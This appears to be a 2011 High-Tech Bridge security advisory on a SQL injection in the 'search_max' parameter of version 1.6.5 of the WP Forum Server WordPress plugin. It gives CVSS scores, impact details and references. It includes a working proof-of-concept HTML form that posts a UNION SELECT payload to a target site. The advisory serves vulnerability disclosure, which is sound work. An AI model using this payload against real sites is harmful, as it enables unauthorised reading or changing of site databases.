SQL Injection in WP Forum Server wordpress plugin

2011.02.22
Risk: High
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

Vulnerability ID: HTB22851 Reference: http://www.htbridge.ch/advisory/sql_injection_in_wp_forum_server_wordpre ss_plugin_1.html Product: WP Forum Server wordpress plugin Vendor: VastHTML ( http://lucidcrew.com/ ) Vulnerable Version: 1.6.5 Vendor Notification: Vulnerability Type: SQL Injection Risk level: High Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: The vulnerability exists due to failure in the "index.php" script to properly sanitize user-supplied input in "search_max" variable. Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database. The following PoC is available: <form action="http://[host]/?page_id=[page_id]&vasthtmlaction=search" method="post" name="main" > <input type="hidden" name="search_words" value="123" /> <input type="hidden" name="search_submit" value="Search forums" /> <input type="hidden" name="search_user" value="*" /> <input type="hidden" name="search_min" value="0" /> <input type="hidden" name="search_max" value="9999 DAY) union select version(),2,3,4 -- " /> <input type="submit" value="search" name="submit" /> </form>

References:

http://www.securityfocus.com/bid/46362
http://www.securityfocus.com/archive/1/archive/1/516402/100/0/threaded
http://www.securityfocus.com/archive/1/archive/1/516400/100/0/threaded
http://secunia.com/advisories/43306


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